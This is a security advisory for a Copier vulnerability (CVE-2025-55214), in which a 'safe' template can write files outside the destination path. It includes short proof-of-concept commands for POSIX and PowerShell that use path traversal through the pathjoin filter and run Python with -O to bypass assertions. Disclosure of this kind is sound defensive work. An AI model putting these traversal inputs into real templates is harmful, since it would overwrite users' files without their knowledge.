CVE-2025-55214: Copier's safe template has filesystem write access outside destination path
Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated.
Published Aug 18, 2025 · Updated Aug 19, 2025
Affected packages
copier
- Ecosystem
- PyPI
- Affected
- >= 7.1.0, < 9.9.1
- Fixed in
- 9.9.1
- Check
pip show copier
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
Write access via generated relative path
Reproducible example:
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txtWrite access via generated absolute path
Reproducible example:
- POSIX:
# Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src/ dst/
cat forbidden.txt- Windows (PowerShell):
# Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
echo "foo" > forbidden.txt
mkdir src
Set-Content -Path src\copier.yml @'
drive:
type: str
default: "C:"
when: false
'@
echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src dst
cat forbidden.txtThis scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.
Credited to sisp, pawamoy, yajo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-53951
Copier has a trust-prefix bypass via path traversal that runs tasks unprompted
high8.8Aug 19, 2026CVE-2026-34726
Copier `_subdirectory` allows template root escape via parent-directory traversal
medium4.4Apr 1, 2026CVE-2026-34730
Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode
medium5.5Apr 1, 2026CVE-2026-23968
Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false
medium5.5Jan 21, 2026CVE-2026-23986
Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true
medium7.1Jan 21, 2026CVE-2025-55201
Copier's safe template has arbitrary filesystem read/write access
high8.5Aug 18, 2025
